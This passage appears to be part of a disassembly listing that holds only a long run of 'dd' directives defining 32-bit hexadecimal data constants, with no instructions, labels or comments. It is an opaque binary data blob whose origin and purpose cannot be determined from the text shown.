		dd 8B00D7BFh, 0BD6B6CA4h, 8C4A0h, 0ECFC05E5h, 74208CE1h
		dd 3003EE0h, 7EC52C0Bh,	0F2575FD6h, 0B27F0Eh, 668EBF70h
		dd 0D103AC33h, 81DA4A00h, 614B6751h, 0C21C0A4Eh, 940F59h
		dd 6487E55Ch, 5177B77Eh, 0F10180B0h, 0B4746A07h, 3BF917F5h
		dd 7E1ED4h, 6C55610Fh, 62FC07C7h, 1931E161h, 9070C8DAh
		dd 0F0300463h, 8093D8FEh, 95F66990h, 7C3C5F00h,	0E773E310h
		dd 0FE6A00E2h, 0C14F5BFh, 9E7D1327h, 9D4BBA0Bh,	0DE2C0023h
		dd 16581825h, 432E33h, 8674CD6Ch, 232C2D03h, 0E08084C4h
		dd 65D124E1h, 0E6560607h, 4022AA09h, 54116A05h,	7491D5FBh
		dd 0FC40F4EEh, 1F1C5941h, 8C27FE3Ah, 0C1800B40h, 568CD306h
		dd 3580A7Fh, 0E3BAA810h, 10000B04h, 2C0620A0h, 5508E6h
		dd 49B99D8Ah, 2D653E01h, 4F124D06h, 60EF05h, 0AEF20EC5h
		dd 338C619Ah, 50A5BC0Bh, 0C87030A2h, 73E70014h,	4CCEEE40h
		dd 247E2F43h, 4E7F9F00h, 64A80D21h, 7CFC92B5h, 26BD0070h
		dd 67E01775h, 3F000DD5h, 66AADC5Eh, 0A64516h, 8B6CC369h
		dd 71E284BFh, 18CCD900h, 0CBAE62B5h, 72200DC1h,	0EC69C216h
		dd 5124A5EDh, 0D2009D5Bh, 23C75281h, 718C0E96h,	30208E49h
		dd 1C1E3E85h, 99D7D000h, 76452DFh, 43F80076h, 0FBEFD26Dh
		dd 2B0009E1h, 123425BBh, 6050B09Eh, 0F3D520F7h,	2E062C72h
		dd 37CBAAAEh, 0CC580019h, 0BD595EEAh, 7A2CCD29h, 0A717C4AEh
		dd 64BB4500h, 0B0EDD9EBh, 0C76300E2h, 58A937B2h, 210E679Ah
		dd 0A084100Ah, 1E591F92h, 6CF1005Bh, 0C415C5FDh, 212ED86Fh
		dd 0A90948A8h, 6E8F00D3h, 2CF48ADDh, 2C40696h, 0D20E2B78h
		dd 10BD7C00h, 0C1410350h, 0CE61B9E8h, 546F0B98h, 0CA3CA200h
		dd 0F25AD62Bh, 0E85500FFh, 0C0FAEF5h, 6C0061EEh, 7A123DC1h
		dd 0A29DCFh, 0A18B2017h, 4E40D27Bh, 56366201h, 0A854583Dh
		dd 7014E0h, 0DECAAB5Eh,	6306A5C6h, 3CF2133Fh, 79F44CD2h
		dd 157624B0h, 955CAD04h, 83557Eh, 340EE859h, 99A20092h
		dd 0A9F712Bh, 25002C21h, 6B846601h, 17615441h, 7B00CE8h
		dd 0A61093h, 1B1E26CBh,	0BE2EB700h, 0A162AB58h,	75E7F6D9h
		dd 7A4C9839h, 48DA00F9h, 0C6FD2D56h, 0E004D704h, 8DCFCCB1h
		dd 8C0ECD80h, 90EE008Eh, 0E1156756h, 6C07D1C8h,	3216E35h
		dd 0AF979B23h, 0FDD0F767h, 20638BEh, 33F1DF24h,	8C4095A9h
		dd 614D6B70h, 9C761764h, 0BD114040h, 97D74EECh,	0CF7151C1h
		dd 338650D7h, 9004320Ch, 345761A9h, 821490C0h, 0A32601EBh
		dd 7DFA9B27h, 0F78EF0BFh, 5900DAEAh, 957553E7h,	76F39A38h
		dd 2AD20091h, 49EF5C65h, 0D4A2DCDh, 0CFE44800h,	58026E57h
		dd 0F0454FEh, 0A0AD50FCh, 0D000D944h, 822099C1h, 0B64438Eh
		dd 8FF1AB27h, 0FB5BC20h, 7102CE0Ah, 7B700EF9h, 253CE072h
		dd 0D39701BAh, 92D140E8h, 582DFAh, 0F2ABE95Eh, 1270626Bh
		dd 0E42690h, 0A042743Ch, 3019E61h, 920D5B09h, 0FC40546Dh
		dd 593689h, 1D2EDF96h, 0B9A1C19Fh, 0B306A0A0h, 1EB6E40Fh
		dd 3007CF9h, 6CD57FBFh,	0E94075Fh, 514C2115h, 0C829AA20h
		dd 501F63CDh, 0A500094Fh, 3379565Fh, 70BD3C9Eh,	73D9D100h
		dd 7C1D1738h, 54E24009h, 659B003Fh, 4EA7AB6Dh, 0C8003B4Bh
		dd 0CC0369D0h, 5400694Ch, 0DC025FCEh, 0F9506h, 3254DE7Bh
		dd 3EDDEEA6h, 81B38A01h, 4E86073h, 0C801D0h, 19F34D94h
		dd 2B52289Ah, 3FCC963Dh, 86E98F54h, 0BD118F31h,	0BDEED687h
		dd 0C839B230h, 0DAA7007Bh, 0F0A54B40h, 4EE0ACBBh, 11C7F48h
		dd 5253263Fh, 6FF07B05h, 0E04203DDh, 0C1385506h, 0A29E2100h
		dd 105086C7h, 8FDE6A3h,	78AC0C6Eh, 60E1C980h, 81CF9Ah
		dd 91889362h, 0B33CA832h, 0FC5CBF7Eh, 874C00D7h, 5C9EB863h
		dd 0D77817h, 9038660Fh,	0D37A794Fh, 0A7698700h,	0AFD5AA8Eh
		dd 0A119002Fh, 2AD450E5h, 0B3002780h, 0BAE4B3Bh, 0FFDAF4h
		dd 0BEB601D6h, 212ACA78h, 1B1F0A98h, 0CAF15F02h, 49F8F8DEh
		dd 584D0005h, 1231C3B5h, 7F00C81Dh, 8161D3D1h, 0FE686A1Eh
		dd 0C6F0065h, 915FE956h, 3008713h, 3261A635h, 0DC2677h
		dd 4EE292E5h, 3C7953B0h, 1F1AD93Ch, 240EF46h, 0F97A2305h
		dd 8E270336h, 66A273F5h, 0C5D847CBh, 4C03720Ch,	8FF2C74Bh
		dd 46BAC01Bh, 3E421h
		dd 5B6E8CD8h, 0E0FE1644h, 29004FF2h, 0D7DE1F58h, 0F80DE84Bh
		dd 0FD600F6h, 0F54ADDCBh, 6600A8A0h, 0DC0B4FACh, 0E6907F85h
		dd 0B17B30B9h, 0D26B62C0h, 81BC1601h, 59F64EB7h, 8A4FC4h
		dd 56747F79h, 1C05EBF0h, 0E600E77Ah, 0AE512824h, 0AD73FCh
		dd 71BD861Ah, 96DD5A74h, 2A4DE41Ch, 0D394BB40h,	0F27F17F2h
		dd 897A0773h, 0F0237697h, 93679825h, 3645A31Ch,	490AD0C6h
		dd 0D2D30011h, 90230885h, 8900183Bh, 0FFD47CCAh, 68F58Ch
		dd 8298EC7Fh, 1C32FB2Dh, 24A2C500h, 149E59A3h, 0CA480045h
		dd 0EDEEF684h, 0A60FF978h, 942187E2h, 0D01000C4h, 6676BF22h
		dd 0FB980B2Eh, 7A0036F3h, 71EB94B4h, 58ED3407h,	7600EC47h
		dd 0E69930Bh, 9CD4E91Ah, 484FAF26h, 1EED300h, 0D29FB63Ah
		dd 0C9FF04AAh, 80DC32C2h, 0A5998378h, 0E7013400h, 70F3A20Fh
		dd 38CF244Fh, 6B06007Fh, 0DA1DFAF5h, 38D7D337h,	0AB0329C3h
		dd 9657E071h, 0F8F504CAh, 0AFEC8D62h, 287E6E80h, 786F876h
		dd 4E89654Bh, 0B0AAC783h, 60C705FCh, 2DD76103h,	0E64543A8h
		dd 0DF5600A8h, 0AF4AC5Dh, 0AB006F30h, 40229411h, 7DD774Ch
		dd 6692EE7Ch, 79DF309Fh, 60008087h, 0C6EFEA64h,	0BDD16Eh
		dd 9FF44BA0h, 9A87FD4h,	949748h, 43A9F9C5h, 1606E31h, 0EA5A466Bh
		dd 0F84D8E68h, 0B7E2093Eh, 7EF1D361h, 7D9F959h,	0EFBCFE4h
		dd 0CED2FA6Fh, 753880DEh, 2F344ABDh, 0DA8D8300h, 9D464CCCh
		dd 8B023F05h, 0BF8203F7h, 376353D8h, 84BD81Dh, 1C9981Dh
		dd 0DCA4209Eh, 67C527Fh, 0E42CF0FCh, 14002E3Fh,	45830EB9h
		dd 3E74C380h, 62805055h, 398BD304h, 7800B186h, 0A51E5E13h
		dd 2675DEA7h, 3A7CEC9Ch, 3A91A382h, 0B4403732h,	0E0006995h
		dd 9222ED0Ch, 74C6D6h, 0DD7644F3h, 0CBCFE5B4h, 9D93250Fh
		dd 0D620C073h, 275213h,	9A8577BBh, 0E7A2EE17h, 3B5E3E3Bh
		dd 0EF7A1F78h, 0E15CD94Fh, 488B0313h, 2CCCE080h, 23A3DE5Ah
		dd 0BD22321Ch, 422BEFC0h, 16286382h, 12FFDB9h, 27C6666Dh
		dd 2B3980A3h, 0A29935E7h, 0B22D1707h, 1836A842h, 0FC4643BDh
		dd 0C36F2A60h, 8CA35464h, 0FB423B16h, 0C0DB5E80h, 2062A0C4h
		dd 6D451901h, 0AF460D78h, 4030C2D1h, 0B3C0002Eh, 1F60B18Ah
		dd 90A8035Bh, 0B5265AA0h, 4100B959h, 1E60F832h,	66CD0317h
		dd 0AE97335Bh, 0BA2EEED8h, 0E030F07h, 0EAB07182h, 0E6CD2ACFh
		dd 6E4F0058h, 0C3CAC0F9h, 0D005043h, 0F2D8E804h, 771A4B2h
		dd 18058972h, 38B36345h, 0B7EA7804h, 0A480CDECh, 62D0F13Bh
		dd 6ABE182Eh, 81EA7482h, 0D6914B00h, 7E311C41h,	461FC071h
		dd 0D5AB7A61h, 8C444Ch,	0BE3ABC30h, 1F0333DFh, 4E15EAF1h
		dd 0F5A7CC5Fh, 50D0C08Fh, 56E613B8h, 1D9C184Dh,	0D4A8FFA5h
		dd 4985900h, 0CA441E0Eh, 0B6120F54h, 7BAE4F23h,	9C153360h
		dd 0BB00FB25h, 16D19F80h, 1AF3C3h, 8863B71Fh, 7BAA3E1Eh
		dd 0A924381Dh, 67C1544Fh, 0C0FF0175h, 0CCA03393h, 68B30065h
		dd 1271E852h, 0EF00DA48h, 7FAB5BF0h, 7F445F27h,	0D48000FCh
		dd 9A7B0225h, 43034696h, 0F75C1BBFh, 0E43480CCh, 602002CBh
		dd 3105AF79h, 9CED50C0h, 7CEF158h, 0B62E826Ah, 1260FA70h
		dd 5E37004Ch, 76550EE2h, 0D900C65Dh, 0D6DF2C1h,	70C627Ch
		dd 20E7031Ah, 9486D01Fh, 0D100251Eh, 0F16854A8h, 9D466h
		dd 23732DDCh, 4F916E79h, 0F500F07Ch, 8460028Bh,	4BC483h
		dd 15C16307h, 0A3C0EEFAh, 57B79000h, 0A93459D6h, 54AC0A79h
		dd 0BC456Ah, 63CC1962h,	3009312h, 1D1A320Fh, 0BB6B7h, 0C22D2617h
		dd 2295052Eh, 68156F00h, 13A49CCh, 0A4DEA90h, 0B58F7313h
		dd 0BE9D0084h, 758D7E93h, 7AD92E02h, 0E18EA99Fh, 51FCF65Ch
		dd 6DD401F1h, 0B166ACFEh, 1E906049h, 2477C83Eh,	6B0CBE3Bh
		dd 48FE3090h, 79AE10h, 96110B08h, 8A459E1Ah, 3E3220Fh
		dd 2DFE018h, 3170C0h, 0FB9FD63h, 0DDE58E08h, 81B35B3Ah
		dd 0B7D6EC32h, 0DB205244h, 59CC1B0Ch, 90BF608Fh, 7CAF4E01h
		dd 0DCDD440Ch, 741898h,	0E14C0457h, 58CB8DF9h, 0A4C30600h
		dd 83F7F220h, 63FA0533h, 0C03FB9C9h, 88137B84h,	9F409905h
		dd 0E8C02FB0h, 1B6FF418h, 10E8A051h, 0EA613AA0h, 58567605h
		dd 0AAC12B0Dh, 4ED49F1Bh, 0E0B41713h, 0B7E40093h, 77A80281h
		dd 24E8C112h, 0E079C40Fh, 0D535C0A0h, 0EF3C26F3h, 30E28D8h
		dd 8822C716h, 5EA84A67h, 0DF0084EDh, 0CF27B41Bh, 0E08AA670h
		dd 517A1E0Bh, 0B357408Dh, 0B9FE4F24h, 8720C300h, 73A1395Bh
		dd 848300FFh, 3694488Dh, 0AAE8C456h, 8A0F4D00h,	0BD7C13Fh
		dd 94144D4Bh, 2AA55407h, 1FDD72BFh, 0DE711140h,	5378371Fh
		dd 9A13F640h, 50797Fh, 1975D2E1h, 4549AB97h, 6A413B03h
		dd 80C85FD9h, 0DF0248h,	5A2EE084h, 7CC4373h, 4457C402h
		dd 603B9131h, 0FE6909E3h, 0B3E7DD0h, 0EF202DC2h, 7D516C00h
		dd 92170765h, 15136C6Fh, 0BB8C4300h, 4D0326B9h,	0ED26AC71h
		dd 409564D8h, 7DC8207Ch, 9DF0057h, 9F67232Ch, 2100FF07h
		dd 71461155h, 1D287D9Ah, 94C8A63h, 0F0804552h, 0BFB85FBEh
		dd 0F78439h, 38FA21A8h,	0B5CE98h, 0D1DA5632h, 4FF2D9FFh
		dd 75D5C209h, 75C87E5h,	0BD737D53h, 0BC627CD0h,	0E3F70067h
		dd 8D3D574Bh, 63008314h, 7F99E9FBh, 0FE020CF3h,	0AB40005Bh
		dd 68349846h, 0E8E0CD97h, 0F5638400h, 3D0C7DA8h, 0AECC007Eh
		dd 0E454D0C3h, 850183BAh, 0F9C11684h, 0E6EC483Bh, 0E2B8040Bh
		dd 0C0177947h, 23AD24CDh, 7B289A00h, 59AC6991h,	705007ABh
		dd 22D151h, 0EC3F25BCh,	3A28A3E6h, 450F8880h, 0C096E8A2h
		dd 24212C30h, 0FBFC0767h, 0D0D4AF82h, 7CA5D37Dh, 0A2987F65h
		dd 8D1E3BC5h, 97416405h, 7CB59EC0h, 0E9C500FAh,	0B3FD0793h
		dd 0B70195C8h, 9CCFB445h, 0C9E83F37h, 346800ABh, 1AA74AFBh
		dd 0F8031F7Dh, 0CBE25A42h, 2E50019Eh, 546A7EABh, 7DCC8786h
		dd 0CC20960Fh, 7A8CFC0Bh, 2AD8CFC3h, 0EADA8460h, 0B303BF74h
		dd 0DE9E2942h, 0D0B7F0B6h, 64C10033h, 24FD8732h, 0B800FE7Bh
		dd 46A3CEA8h, 756AF477h, 2E7004Eh, 1B7B0A63h, 3C0062DFh
		dd 177FCB9h, 0F99C2Ah, 3E864E4Bh, 0C4C1C08h, 9900257Ch
		dd 68F89DCDh, 7814E579h, 0A0540098h, 42225BEEh,	1A0180A5h
		dd 925CBE53h, 9DD028Fh,	130420h, 0D774BA3h, 7855C7C3h
		dd 2A3DEF0Ah, 0EE00EC4Ch, 0B9DAA9CFh, 919E00EDh, 0D67F7A1Dh
		dd 65003CB2h, 0C4D7669Bh, 0A1742FFh, 4AE2B72Fh,	374E00E7h
		dd 0F41EEE22h, 0CFAAFC00h, 657A4302h, 980737Ch,	0DC4B5ECEh
		dd 5DBA6287h, 2D3FCC0h,	0E8D6A100h, 6DE5943Ah, 932400E0h
		dd 54339DEDh, 0B8262E13h, 0D000C2F2h, 854BAA6Eh, 0CD5E0057h
		dd 2C4DE055h, 78078B74h, 0F877982Bh, 0D89EBCF0h, 20589Dh
		dd 0EBC15701h, 4087D738h, 9E12BEE4h, 0B971841Ch, 760479C0h
		dd 2843F5h, 8FAE2D0Eh, 0FBA62582h, 77085900h, 370A718h
		dd 0DA2100DEh, 0A17830AEh, 0F00025C2h, 9C73092Ah, 9849B9F5h
		dd 0AEB200B0h, 466F6DCAh, 0BDB84EE0h, 93BF441Fh, 404201C3h
		dd 0E3BCE94Ch, 0C403EE40h, 72AC0067h, 0B313BA9h, 6400E5C5h
		dd 0F5DCB023h, 412A96h,	48D575D7h, 449A0D14h, 0F7740800h
		dd 5113BA92h, 416500DEh, 0E252A545h, 0BD0028C2h, 6F96E67Ah
		dd 0FA7F300Dh, 99C80009h, 0EC5B6429h, 0AD1E5EC2h, 6CA45782h
		dd 928011h, 0D23EF2EDh,	60085F0h, 870FFAA3h, 754507BCh
		dd 0F8B80086h, 0DEC348B3h, 80E1B90Eh, 96D02420h, 38F92BCBh
		dd 1E01BD40h, 0D3941222h, 2F78F0F1h, 0FD1F1F98h, 998069FCh
		dd 0EB8F623h, 0B54D00C9h, 0F9670A4Bh, 2730CBAFh, 4A048A74h
		dd 0EC7C00B2h, 58370379h, 31003FF6h, 830F84D4h,	0FF16B1h
		dd 0B570266Eh, 0C04F478Bh, 2ADB860Ah, 0CC07D431h, 24F05617h
		dd 0D4AA11h, 0F087A8E5h, 99E1401h, 0ECD2FA01h, 0EB071577h
		dd 0EAA6B1C8h, 0F4610141h, 0E50CA19Bh, 0E64200Fh, 0B9428513h
		dd 0DE929400h, 46F7CBh,	4D168247h, 65046C60h, 1A832D0Fh
		dd 0C8380029h, 548036CAh, 204B041h, 6426E714h, 2041C593h
		dd 7F66FC21h, 1FD3F809h, 2FD4A099h, 7CC28887h, 352900AAh
		dd 9141C67Dh, 5900EB77h, 0ACCE9FA9h, 614E15h, 0BEDD3189h
		dd 0FC4CB0F8h, 0A39D2300h, 9945CC0Bh, 8B739Bh, 72EC69B5h
		dd 3AC07FBDh, 2F2E5901h, 5173EA09h, 0A07370h, 0F4F54D7h
		dd 0A40234F1h, 0B6D3B0A8h, 0DB7F6700h, 0E06215DCh, 488A4C05h
		dd 0B4BD3C00h, 0CC97112Fh, 1EB78000h, 89AAD39Eh, 0DD1B00AFh
		dd 8FA4FAC4h, 0F2007D34h, 58692B45h, 9031CBh, 67D4FCC0h
		dd 73F7A2E6h, 0D50559EEh, 8B5751EDh, 0E7D5983h,	0E4F1980h
		dd 76DC0092h, 79982E87h, 0DC199774h, 7818BC8Ch,	674109Fh
		dd 3839B8E3h, 53428EF8h, 40C07F22h, 1295C6A6h, 0ED050061h
		dd 15349FE1h, 0D0289036h, 69003C3Ch, 351F54B9h,	4C8529D4h
		dd 0F60C2D27h, 3A613CC1h, 4901281Dh, 206F9F43h,	2ED2E1A1h
		dd 2450D1DDh, 5336853h,	8B5651F2h, 0F66C443Ah, 2FCF2004h
		dd 0EECDF598h, 3ABC620h, 0C3823DA9h, 5DC11358h,	42BD207Fh
		dd 52363C1Dh, 0FF1D9A00h, 0DB9938h, 97ECCD9Bh, 2FA03755h
		dd 0A20B6502h, 0C8EF19BEh, 18141A5Ch, 118001E9h, 0D500F570h
		dd 59917542h, 0B46EF0h,	45586415h, 4AE86C9Ah, 0D47D840Fh
		dd 0E0240061h, 1F8091DEh, 249EF81h, 69A4FB36h, 0D12B42C3h
		dd 18F8049Ah, 3CD34876h, 240A5B00h, 0A1B18263h,	9A0A8FE4h
		dd 80E611D5h, 0B9EC1807h, 0CDCA83EBh, 7529215Ah, 90DC7208h
		dd 505484C0h, 44B08944h, 0B444E2CDh, 55C444BAh,	0D1425D48h
		dd 4882579h, 485C2A28h,	7507B831h, 0B0E89E6Bh, 0A59D977Dh
		dd 0F86FB802h, 55E4F236h, 0F003814Ah, 69B81E51h, 35071AFBh
		dd 9B0C5D50h, 0E76C4A60h, 0F7A704BFh, 0C0BBA51Eh, 31EFF047h
		dd 85AA0400h, 51217C7Ah, 0B2720063h, 40D15C4Dh,	793CF1B3h
		dd 8EE080BDh, 5F70A69Dh, 8AF800AFh, 7FF09AAAh, 3D0048CBh
		dd 6DAE56Ah, 0FED4AE47h, 20AB00CEh, 7455F8D7h, 75003AE9h
		dd 681D4946h, 5FBE05h, 2EB81070h, 0AA2A4F06h, 0E34B0100h
		dd 0BD1E8440h, 28520009h, 69A292F1h, 0B8019B78h, 5CCC8767h
		dd 0ECD4C031h, 796200E6h, 6D5E855Fh, 9A0A66A1h,	0FCF89CB6h
		dd 80066C0Bh, 8B10034Dh, 294900FEh, 11FCE12Ah, 21006F59h
		dd 1C3EE9D4h, 0FCD02285h, 7FB60078h, 77769542h,	43007010h
		dd 1A3BFBD7h, 5017EBE4h, 589C9C0Ch, 0A500A349h,	3002B8CAh
		dd 0D00EAECh, 0C4ABB53Ah, 0B0214659h, 3F6B0305h, 0E3D8CD20h
		dd 0F73833C8h, 3D9B8A00h, 0ED2E1F09h, 6CB4078Bh, 20088DECh
		dd 0CD6D5D41h, 45F8DE00h, 7F147A36h, 0B3750931h, 5001743h
		dd 0CAEDF397h, 2446A500h, 15D9C2B1h, 3A1D0092h,	3F5056E7h
		dd 4D182066h, 1611974Ah, 8A3009D0h, 8C009B26h, 4034027Bh
		dd 467F7C00h, 3FDE701Dh, 822500AFh, 2367D10Ch, 8A079F24h
		dd 0DBBD9461h, 0F7A55BC0h, 37045h, 3318C80Eh, 0C4D5088Fh
		dd 3FB430F1h, 6516051Eh, 115D8800h, 92E5384Ch, 0AFA501C4h
		dd 7B54C768h, 0C3DA304Fh, 5E0E90F6h, 6046A8B8h,	87137730h
		dd 0EBD7001Dh, 0C52A44D4h, 0E100BBB0h, 0EC63EDEFh, 0B8A156h
		dd 3FCD8C68h, 0FDD1B179h, 0F2DC1714h, 250B00B4h, 62A53554h
		dd 60DEE09Eh, 0CAB410BFh, 2D03C5C0h, 87A6E08Ah,	85D0D094h
		dd 96BE009Fh, 6C1D39C4h, 0BD0165C0h, 0BF6B1FC5h, 0C3EE02h
		dd 113077E8h, 7B167E22h, 0C80715E4h, 0B4A23FEFh, 974CC3C0h
		dd 0CA910073h, 6E475432h, 0F6002D25h, 137041BBh, 23A64D2h
		dd 0FAEBD472h, 4C607B27h, 0B3139DE5h, 100C79Ch,	5769743Bh
		dd 0C56C1D7Fh, 0C34E404Fh, 5B37F092h, 0EC16AD0Fh, 0FAAF201Bh
		dd 7F052995h, 0D30C0043h, 0C6A8E064h, 0B00C419h, 0C36F3F51h
		dd 7F89006h, 0EC86493Dh, 24EDF0B4h, 70182CFh, 0FC26ABB3h
		dd 30AEF5h, 147700E0h, 8B6E22B0h, 48001B1Eh, 0C454185Ah
		dd 3DF12EC0h, 0B8167276h, 57B30085h, 0C5DFD522h, 34FC9F00h
		dd 0D04584B3h, 0BBE47Ch, 0A66D44A1h, 5EF54D3Ah,	0F16FBF02h
		dd 687016AFh, 7D3259ECh, 101ECD5h, 39B9A772h, 0E8937EC4h
		dd 2E000706h, 0A4E3AF49h, 444121h, 0CF922F88h, 7742FF47h
		dd 0E3905Ch, 2EA4CA83h,	561040h, 1D3EEE68h, 6EBDC616h
		dd 25A3BA00h, 0CED71ECDh, 72620173h, 354F87F4h,	80042061h
		dd 80D8F53Bh, 81BD6DD9h, 3CA14E4Bh, 0A9AC3CF3h,	949D00A9h
		dd 48DC87CCh, 0BFB8A800h, 67648650h, 0A1ED000Ch, 1D7CECAEh
		dd 66002DFCh, 0DFA456Ah, 0C037F5D2h, 0D36C0E2Ch, 3D00EFC3h
		dd 0A0CCC00Ch, 3EBA7239h, 7D24F475h, 0A7B10004h, 14CB4887h
		dd 430DD1C0h, 0C69833h,	0C74A2B3Bh, 5C93FC66h, 8C36100h
		dd 6F13BFCFh, 0B92600AEh, 0D8ED810Eh, 2C1DDF58h, 0A92148Ah
		dd 242B040Fh, 0EA4097CAh, 0E3EFDB3Ch, 2F75C800h, 2E15010Bh
		dd 0FCF70E8Eh, 8C89E59Bh, 778D6CA0h, 4A4CD845h,	80113E19h
		dd 0F9C5277Fh, 7DA7935Eh, 0AE300002h, 0B78A7A33h, 7701EF5Ah
		dd 995EB6A5h, 7FF52B87h, 0A054F3FFh, 1F2C556h, 0F7A48FBBh
		dd 0E4C2ACEAh, 0F90076E3h, 0E935BF53h, 790FB34Eh, 67EB1F3Eh
		dd 64020737h, 16DB8010h, 0E9398AE1h, 77ED0034h,	0A591625Eh
		dd 981D0230h, 0A70550C9h, 24E15AC0h, 1C0743FAh,	8C4125BCh
		dd 9D5B2860h, 991400AFh, 4F52CCBh, 8600EC1Ah, 535023B2h
		dd 0D019E8h, 3EC13087h,	40789D27h, 1F80B100h, 3A9EBD9h
		dd 87EF1EABh, 577080BBh, 0A890BF51h, 0A20086E2h, 4C9756F5h
		dd 75D994h, 0C3E5E95Ah,	1C8DA4ADh, 440D90C1h, 1AC54C3Fh
		dd 48CE2120h, 0D002E833h, 19D92A1Dh, 4CCBF580h,	0A2008C81h
		dd 0F0A0A12Ch, 0DA628h,	0CAB6046Eh, 0FC3BFDCFh,	1DEC583Ch
		dd 33C3D987h, 23844DAh,	96019C0h, 427FE9F2h, 79480C3h
		dd 0B9C576h, 2145927Dh,	0C3190F66h, 9F55FF13h, 6F5DA400h
		dd 3BAF4A23h, 82807F45h, 0EB5186D6h, 0F2024EE8h, 9DF5CBF7h
		dd 1CD48085h, 7DC0C396h, 0FDBA005Ch, 0CB984E4Fh, 481D77CCh
		dd 8D4052D6h, 2D32D5Ah,	0E97A0069h, 805EE3F1h, 0BF0CABB2h
		dd 0B02C4371h, 258F0078h, 38722466h, 3D0003F2h,	0DB310292h
		dd 0AEF96Ch, 94B378B0h,	0BDA9C02Eh, 0B9EE6300h,	441F6E4Bh
		dd 0FD840F8Ch, 0ABA0FB97h, 59E8D624h, 65439A1Fh, 0B84E668Ah
		dd 83AD0h, 0BCE3DEE8h, 5DC3BFB1h, 0F4661403h, 888735D4h
		dd 28270773h, 14B4D70Eh, 0B86DE5ACh, 56C7D000h,	11A7B258h
		dd 5DE83Fh, 0DDCA4D2Fh,	3A353F23h, 980EFF6h, 0C5CED01Dh
		dd 0C11C7BCBh, 6F83C710h, 0D04A73A7h, 1E4A6h, 2FFDCE7Ah
		dd 7FB017F4h, 0E3EE2876h, 0C9634B0Eh, 0C4BA6094h, 2EBB3ABFh
		dd 2C612BF6h, 60450073h, 58A05B16h, 0BFCB3900h,	73DFC31Dh
		dd 246BF6D5h, 87A206h, 599EE68Eh, 7816B591h, 78000118h
		dd 0A49B5E13h, 0A81D0093h
		dd 67BA3C2Eh, 0E0C0D5C4h, 0AAEE1C11h, 0CD1300C6h, 0A5082149h
		dd 700A96Eh, 0E471661Dh, 8C57ACh, 0D72D55C7h, 0B6CEB4CAh
		dd 14E9CC17h, 0B2D10700h, 285A27h, 0BEDBA536h, 0A189B7A4h
		dd 7FD2951Ah, 0BB588068h, 736E32Ch, 9C29DC33h, 0C98E00CDh
		dd 2601964Ah, 0FC6F64C2h, 833062ADh, 0DF0106F6h, 50A56D47h
		dd 12BC1664h, 0E5AE4C80h, 8EEA24DEh, 0FDB9005Eh, 0F067E080h
		dd 0F7469B00h, 11D58865h, 2F1C0EB2h, 4867EF9Ah,	0F3292F04h
		dd 0F63BB000h, 0E600AF1Ah, 81FD8DFBh, 60B85A52h, 6DC4F4ADh
		dd 0C3162FC1h, 27F0E029h, 2DD901E7h, 997705EEh,	2F3970ADh
		dd 0E038BD39h, 0D509C8E0h, 3F500CEh, 0F258E3A8h, 40007181h
		dd 0A197D3A6h, 1878E943h, 4290491Ah, 74007E30h,	756FE33Ah
		dd 0D813Ch, 0DB70D158h,	61886EAh, 95002898h, 0DF6AA97Ch
		dd 401AF78h, 8ED80963h,	0E6F491BFh, 0F9430E2h, 0F2F611C0h
		dd 0A3EFCFh, 0D55B24C9h, 0E52C1056h, 760F030Ch,	4E2EDBh
		dd 85C4B247h, 0F2915FACh, 0E201DCE4h, 653E185Dh, 23C83294h
		dd 0EE0A1D6h, 1CBB8420h, 5DE94D14h, 7153D839h, 0DA0096D2h
		dd 0DE7C66D1h, 0B5CD9Dh, 0C4D9D8DDh, 26C27A84h,	29041100h
		dd 0D7F0E46h, 43A6006Bh, 492DB8FEh, 0F600913Dh,	8DF9CC9Dh
		dd 0E6CF2ADCh, 0A0542DC4h, 29078E78h, 0C7BD0CA2h, 46087920h
		dd 27323862h, 58C3348Ch, 3704DA51h, 8A946AF6h, 0D698E480h
		dd 83263D13h, 4548CD8Bh, 0FBBE3801h, 0E754D81Eh, 0A0C9B026h
		dd 206B390Eh, 8EADA1B4h, 0A06300A7h, 43270857h,	0AA482950h
		dd 67E70009h, 0A23BFF0Eh, 6FBC006Ch, 0CD809185h, 640939AAh
		dd 715EB1h, 0BFA9FE50h,	441003F5h, 7FE58053h, 66641800h
		dd 0A8FEF05Ch, 0F3C500C4h, 5CBFD30h, 0F278F5E2h, 0C0B8EA54h
		dd 209A7C02h, 44B8E15Fh, 1EA63D9Ch, 0C02ECD9Eh,	0FB4803CAh
		dd 0DF00FDB3h, 195F55F0h, 1DCFD77Ah, 0C04B90F9h, 50C0DE9Ch
		dd 3475E802h, 2662694Ch, 8380747Eh, 19202DD6h, 1FBB0055h
		dd 59E6FFEEh, 5100213Bh, 0E31E6DB2h, 251433h, 17FA3299h
		dd 491307D0h, 75BF1900h, 83456820h, 624100A9h, 73B84EDFh
		dd 963C3DACh, 3BCD81C2h, 56546EC6h, 0C5D7CCh, 0E05BB281h
		dd 8EB7A5F4h, 0B6EE7200h, 0EC3DEA21h, 0AA9E1CCDh, 40595FCBh
		dd 0B9A3F23Fh, 11016551h, 0E8B69FDEh, 0B300162h, 53A11F2Bh
		dd 0FFFC8045h, 0CCF7283Ch, 7B4D4E00h, 0BFD5FA8Ch, 0DCEF2809h
		dd 0CEAD01A8h, 9180D667h, 0A53DD8DEh, 24000BF8h, 5BE32E58h
		dd 837359h, 0AACCF0FEh,	7B234F25h, 482B4A00h, 537E8299h
		dd 7CAD0366h, 5C56DA5Fh, 50BC48Eh, 81F31A3Ch, 6FB67203h
		dd 2C48B8D8h, 24A5F83h,	0B2C7994h, 0A777A040h, 4BFE4500h
		dd 570E7621h, 0F60F05FCh, 0C02FB5DBh, 6CA14164h, 43AD2B00h
		dd 0B027A3EEh, 4E6A01C0h, 6CD5E82h, 0E6A1F8B4h,	0D0EB2F04h
		dd 0BCC0795Ah, 122D43ACh, 6A8EC1h, 770D1D00h, 0FF003574h
		dd 6B5163ADh, 73559E1Ch, 0EDEB01C6h, 0E1E54959h, 61308156h
		dd 0AF3BBBA8h, 0C6DF9852h, 26CD3CA8h, 39FB5300h, 2F1D4569h
		dd 1C823F03h, 0FF704E95h, 145C6720h, 3D770034h,	0E94904B5h
		dd 0DE01FDBFh, 54332BB3h, 0C9D87C0Fh, 75AA005Ah, 0ADA08748h
		dd 14718BA2h, 41948301h, 0C3E8C7AEh, 0D1BDF4h, 0FEAC7F25h
		dd 0CDBBF1ADh, 0A996CC13h, 74A3000h, 3D1647FBh,	0D79C5C5Dh
		dd 3CAD4E86h, 4201A020h, 7B7412B7h, 831389FEh, 0D500F2F3h
